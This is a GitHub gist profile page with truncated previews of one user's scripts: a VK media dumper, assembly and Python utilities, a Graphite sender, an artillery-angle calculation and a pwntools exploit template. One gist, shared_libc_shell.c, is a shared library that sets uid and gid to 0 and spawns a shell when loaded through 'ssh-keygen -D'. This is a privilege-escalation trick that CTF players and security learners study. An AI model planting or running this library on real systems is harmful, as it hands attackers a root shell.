Skip to content

Instantly share code, notes, and snippets.

View TomasGlgg's full-sized avatar
🏠

TomasGl TomasGlgg

🏠
  • Россия
  • 03:15 (UTC +03:00)
View GitHub Profile
@TomasGlgg
TomasGlgg / dump-vk-pictures.py
Created November 10, 2024 11:19
Dump history attachments in vk
import vk
from requests import get
from datetime import datetime
from os import makedirs
from os.path import exists
access_token = ''
peer_id = None
@TomasGlgg
TomasGlgg / int2str.asm
Last active April 2, 2023 00:03
Converting int to string on amd64 assembler. Analog of %u in printf(). | Преобразование int в строку на ассемблере amd64. Аналог %u в printf().
section .bss
str: resb 6
section .text
global _start
_start:
mov RAX, 123 ; number
lea RBX, [str] ; buf
@TomasGlgg
TomasGlgg / AsyncCmd.py
Created January 10, 2023 18:15
Async realisation cmd library
from cmd import Cmd
import asyncio
class AsyncCmd(Cmd):
async def cmdloop(self, intro=None):
"""Repeatedly issue a prompt, accept input, parse an initial prefix
off the received input, and dispatch to action methods, passing them
the remainder of the line as argument.
@TomasGlgg
TomasGlgg / graphite.py
Created January 5, 2023 17:30
Python script for send data to graphite
from pickle import dumps
from struct import pack
from socket import socket
from time import time
class Sender:
data = []
def __init__(self, host, port):
@TomasGlgg
TomasGlgg / PyAttack.py
Last active May 28, 2022 12:01
Скрипт для расчета вертикального наклона артиллерии, если известны координаты цели в двумерном пространстве (sympy 1.10.1)
# for sympy 1.10.1
from sympy import *
from sympy.physics.units import degree as degree_symbol
from math import degrees
init_printing()
n, a, alpha, g, x, t, th = symbols('n a alpha g x t th', positive=True)
f = Function('f')
@TomasGlgg
TomasGlgg / pw-loopback.md
Last active May 17, 2022 21:56
Create loopback adapter in pipewire

Create a Sink:

pactl load-module module-null-sink media.class=Audio/Sink sink_name=null-sink channel_map=surround-51

Create a Source:

pactl load-module module-null-sink media.class=Audio/Source/Virtual sink_name=null-source channel_map=front-left,front-right

Link:

@TomasGlgg
TomasGlgg / pwnup.mako
Last active February 2, 2022 18:56
My template for pwntools (/usr/lib/python3.10/site-packages/pwntools-4.9.0.dev0-py3.10.egg/pwnlib/data/templates/). Original: https://github.com/Gallopsled/pwntools/blob/dev/pwnlib/data/templates/pwnup.mako
<%page args="binary, host=None, port=None, user=None, password=None, remote_path=None, quiet=False"/>\
<%
import os
import sys
from pwnlib.context import context as ctx
from pwnlib.elf.elf import ELF
from pwnlib.util.sh_string import sh_string
from elftools.common.exceptions import ELFError
@TomasGlgg
TomasGlgg / splitKonsole.py
Created January 27, 2022 17:16
Split KDE Konsole
from pwn import which
import os, subprocess
from bs4 import BeautifulSoup
if not 'KONSOLE_VERSION' in os.environ:
exit(1)
qdbus = which('qdbus')
window_id = os.environ['WINDOWID']
konsole_dbus_service = os.environ['KONSOLE_DBUS_SERVICE']
@TomasGlgg
TomasGlgg / shared_libc_shell.c
Last active January 23, 2022 19:28
Shell with shared lib
// Compiling: gcc -shared -o lib.so lib.c
// Example: ssh-keygen -D ./lib.so
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init() {
setgid(0); // suid?
setuid(0);
system("sh");
from irc import client
from time import time
from socket import socket
from configparser import ConfigParser
def check(host, port):
s = socket()
s.settimeout(1)
return not s.connect_ex((host, int(port)))